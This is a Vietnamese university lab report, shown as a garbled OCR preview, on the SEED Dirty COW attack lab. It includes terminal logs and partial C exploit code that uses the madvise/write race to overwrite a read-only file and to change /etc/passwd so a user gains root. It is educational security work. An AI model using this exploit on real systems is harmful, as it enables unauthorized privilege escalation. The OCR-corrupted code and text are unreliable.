Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 13 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
13
Dung lượng
36,91 KB
Nội dung
HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^ffl^ THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU CÁCH TẤN CÔNG DIRTY-COW (DIRTY-COW ATTACK LAB) Giảng viên hướng dẫn: Sinh viên thực hiện: Lớp: Mã số sinh viên: Nhóm: PGS.TS Lương Thế Dũng Huỳnh Hải Bằng AT15H AT150802 13 Khóa: 2018-2023 TP Hồ Chí Minh, tháng 11 năm 2021 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^ffl^ THỰC TẬP CƠ SỞ CHUN NGÀNH AN TỒN PHẦN MỀM NGHIÊN CỨU CÁCH TẤN CƠNG DIRTYCOW (DIRTY-COW ATTACK LAB) Nhận xét giáo viên hướng dẫn: Điểm báo cáo: Xác nhận giáo viên hướng dẫn: LỜI CẢM ƠN Chúng em xin chân thành cảm ơn PGS.TS Lương Thế Dũng-giảng viên trực tiếp hướng dẫn, bảo, tạo điều kiện thuận lợi giúp đỡ chúng em trình thực đề tài Để có thành ngày hơm nay, ngồi nỗ lực khơng ngừng nghỉ thành viên nhóm phần khơng nhỏ đóng góp nên thành cơng nhờ quan tâm, bảo, giúp đỡ thầy cô, anh chị khóa bạn bè xung quanh Tuy có nhiều cố gắng nỗ lực thành viên để hoàn thiện đề tài, chắn đề tài “NGHIÊN CỨU CÁCH TẤN CÔNG DIRTY- COW (DIRTYCOW ATTACK LAB)” chúng em nhiều thiếu sót Chúng em mong nhận góp ý từ thầy giáo để nhóm em hồn thiện tốt đề tài nghiên cứu sau Chúng em xin chân thành cảm ơn! LỜI MỞ ĐẦU Ngày nay, với xu hướng chuyển đổi số mạnh mẽ doanh nghiệp, công ty, tổ chức dẫn đến việc tạo phần mềm quản lý, điều hành làm việc thiết yếu Bên cạnh đó, ảnh hưởng đại dịch COVID-19 thúc đẩy nhanh việc chuyển đổi số Để đảm bảo an toàn cho phần mềm tạo vận hành tránh bị kẻ xấu công gây thiệt hại nghiêm trọng Đó lý để chúng em chọn chuyên đề Software Security đặc biệt nghiên cứu cách công Dirty-Cow MỤC LỤC CHƯƠNG I: TỔNG QUAN VỀ DIRTY-COW LAB Giới thiệu Lỗ hổng Dirty COW trường hợp đặc biệt dạng lỗ hổng race condition Nó tồn nhân Linux từ tháng năm 2007, phát khai thác vào tháng 10 năm 2016 Lỗ hổng ảnh hưởng đến tất hệ điều hành dựa Linux, bao gồm Android, hậu nghiêm trọng: kẻ cơng giành đặc quyền root cách khai thác lỗ hổng Lỗ hổng bảo mật nằm mã copy-on-write bên nhân Linux Bằng cách khai thác lỗ hổng này, kẻ cơng sửa đổi tệp bảo vệ nào, tệp đọc chúng CHƯƠNG II: TIẾN HÀNH THỰC HIỆN VÀ NGHIÊN CỨU CHUYÊN SÂU BÀI LAB THEO THỨ TỰ TỪNG TASK Task 1: Modify a Dummy Read-Only File, Create a Dummy File Ở đây, tạo tệp đọc có tên ‘banghuynh’ thư mục gốc để chứng minh công cho phép ghi vào tệp đọc Có chuỗi ‘bh222222bh’ lưu trữ tệp, hình Nếu ta cố gắng ghi vào tệp lệnh echo, ta bị từ chối tệp đọc cho user thường [11/26/2021 04:09] seed@ubuntu:~/Documents/L.ab$ sudo touch /banghuynh [sudo] password for seed: [11/26/2021 04:10] seed@ubuntu:~/Documents/Lab$ sudo chmod 644 /banghuynh [11/26/2021 04:10] seed@ubuntu:~/Documents/Lab$ sudo gedit /banghuynh [11/26/2021 04:11] seed@ubuntu:~/Docui’ients/Lab$ cat /banghuynh bh222222bh [11/26/2021 04:11] seed@ubuntu:~/Docui’ients/Lab$ Is -l /banghuynh -rw-r- ( - root root 11 Nov 26 04:11 /banghuynh [11/26/2021 04:11] seed@ubuntu:~/Documents/Lab$ echo 999 > /banghuynh bash: /banghuynh: Permission denied [11/26/2021 04:11] seedgubuntu:~/Documents/Lab$ Set Up the Memory Mapping, write and madvise Thread Chương trình cho viết tệp cow_attack.c, có luồng: main, write madvise Chuỗi ánh xạ tệp vào nhớ tìm kiếm chuỗi mong muốn thay - ‘222222’ Sau đó, bắt đầu hai luồng - luồng ghi thay ‘222222’ nội dung mong muốn - ‘******’ Nếu luồng chạy, nội dung ghi vào nhớ khơng phải nhớ chia sẻ, hồn tồn khơng ảnh hưởng đến tệp bên Do đó, cần chạy chuỗi madvise với luồng ghi, để bảng trang trỏ đến nhớ ánh xạ luồng ghi ghi nội dung vào nhớ cho nội dung phản ánh tệp Điều có nghĩa tệp đọc sửa đổi Khi ta biên dịch chạy chương trình kiểm tra nội dung tệp đọc ‘banghuynh’, ta thấy tệp sửa đổi thành công [11/26/2021 [11/26/2021 *c [11/26/2021 bh******bh [11/26/2021 04:18] seed@ubuntu:~/Docunents/Lab$ gcc cow_attack.c -Ipthread 04:18] seed@ubuntu:~/Docunents/Lab$ ã.out 04:19] seed@ubuntu:~/Docunents/Lab$ cat /banghuynh 04:19] seed@ubuntu:~/Docunents/Lab$ M Bước quan trọng chạy chuỗi madvise luồng ghi chạy để việc ghi thực nhớ ánh xạ khơng phải riêng, nhớ ánh xạ phản ánh tệp Để đạt điều đó, chạy lệnh gọi hệ thống write madvise vòng lặp để chúng thực thi theo trình tự mong muốn lần Vì thế, ta thực điều cơng Dirty COW ta thành công tệp đọc 'banghuynh' Một tiêu chí quan trọng sử dụng MAP_PRIVATE, điều cho phép ghi vào tệp đọc cách tạo riêng Task 2: Modify the Password File to Gain the Root Privilege Chỉ cần ta có quyền đọc tệp lỗ hổng Dirty COW khai thác Ở đây, cố gắng giành quyền root cách sửa đổi tệp passwd world-readable, root-writable Đầu tiên, tạo user khơng phải root có tên banghuynh kiểm tra mục nhập tệp passwd Như hình sau: [11/26/2021 04:25] seedgubuntu:~/Documents/Lab$ sudo adduser banghuynh [sudo] passuord for seed: Adding User 'banghuynh1 Ađding new group 'baoghuynh' (1002) Adding new User 'banghuynh' (1001) with group 'banghuynh’ Creating home directory '/bome/banghuynh1 Copyíng fil.es from '/etc/skel1 Enter new UNIX passuord: Retype new UNIX password: passwd: passuord updated successtully Changing the User íntormation for banghuynh Enter the new value, or press ENTER for the detault Full Name []: Bang Huynh Room Number []: 1234 Work Phone []: 1234 Home Phone []: 1234 other []: 1234 Is the intormation correct? [¥/n] ¥ vboxadd:x:999:l::/var/run/vboxadd:/btn/fatse sshd:x:120:65534::/var/run/sshd:/usr/sbin/nologin banghuynh:xyl00121002:Bang Huynh,1234,1234,1234,1234:/home/banghuynhy/bin/bash Mục đích biến user bình thường trở thành user có quyền root cách sửa đổi UID họ - trường thứ ba mục nhập Bây cố gắng sửa đổi tệp /etc/passwd, thấy code Đầu tiên tìm nội dung sau: ‘banghuynh: x: 1001’ Đây mục nhập tương ứng với dòng người dùng tạo chúng tơi /etc/passwd Sau đó, ta thay dịng ‘banghuynh: x: 0000’, làm cho trở thành người dùng root Code hình sau: cowattack.c X tnt flLe_size; // open the target file in the read-only mode int f=open("/etc/passwd’r, O RDONLY); //map the ftle to CON memory ustng MAP_PRIVATE fstat(f, &st); fi.le_si.ze = st.st_síze; map=mmap(NULL, fi.le_si.ze, PR0T_READ, MAP_PRIVATE, f, 0); //ftnd the posltlon of the target area char *posttion = strstr(map, "banghuynh:x:1001"); //we have to the attack uslng two threads pthread_create(&pthl, NULL, madviseThread, (void *)file_size); pthread_create(&pth2, NULL, uríteThread, posi.ti.on); //walt for the threads to tínish pthread_jotn(pthl, NULL); pthread_jotn(pth2, NULL); return 0; } voíd *writeThread(void *arg) { char *content="banghuynh:x:O000"; off_t offset = (off_t) arg;| Sau đó, biên dịch chạy chương trình Để thay đổi user banghuynh thành user root làm cho UID id nhóm giữ nguyên [11/26/2021 04:33] seed@ubuntu:~/Documents/Lab$ gcc cow_attack.c -tpthread [11/26/2021 04:34] seed@ubuntu:~/Documents/Lab$ a.out [11/26/2021 04:34] seed@ubuntu:~/Documents/Lab$ cat /etc/passwd I grep banghuynh :x:0000:1002:Bang Huynh,1234,1234,1234,1234:/home/banghuynh:/bin/bash [11/26/2021 04:34] seed@ubuntú:~/Documents/Lab$ Để xác minh, chuyển sang tài khoản user banghuynh dấu # cho biết user root [11/26/2021 04:34] seed@ubuntú:~/DocuÁents/Lab$ cd # [11/26/2021 04:35] seed@ubuntu:-$ su banghuynh Password: root@ubuntu:/home/seed# td uid=0(root) gid=1002(banghuynh) groups=0(root),1002(banghuynh) root@ubuntu:/home/seed# 1 CHƯƠNG III: KẾT LUẬN Bài lab giúp sinh viên có kinh nghiệm thực tế công DirtyCOW, hiểu dạng lỗ hổng Race-Condition bị khai thác công hiểu sâu vấn đề bảo mật race condition chung Trong lab này, sinh viên khai thác lỗ hổng Dirty COW để có đặc quyền root TÀI LIỆU THAM KHẢO Du, W (n.d.) Dirty-COW AttackLab Retrieved from https://seedsecuritylabs.org/Labs_16.04/Soiiware/Dirty_COW/ MeghaJakhotia (n.d.) Dirty COW Retrieved from https://github.com/MeghaJakhotia/ComputerSecurityAttacks/tree/master/Dirty %20COW ... năm 2021 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^ffl^ THỰC TẬP CƠ SỞ CHUYÊN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU CÁCH TẤN CÔNG DIRTYCOW (DIRTY- COW ATTACK LAB) Nhận... chắn đề tài “NGHIÊN CỨU CÁCH TẤN CƠNG DIRTY- COW (DIRTYCOW ATTACK LAB)? ?? chúng em cịn nhiều thiếu sót Chúng em mong nhận góp ý từ thầy giáo để nhóm em hoàn thiện tốt đề tài nghiên cứu sau Chúng... cho phần mềm tạo vận hành tránh bị kẻ xấu công gây thiệt hại nghiêm trọng Đó lý để chúng em chọn chuyên đề Software Security đặc biệt nghiên cứu cách công Dirty- Cow MỤC LỤC CHƯƠNG I: TỔNG QUAN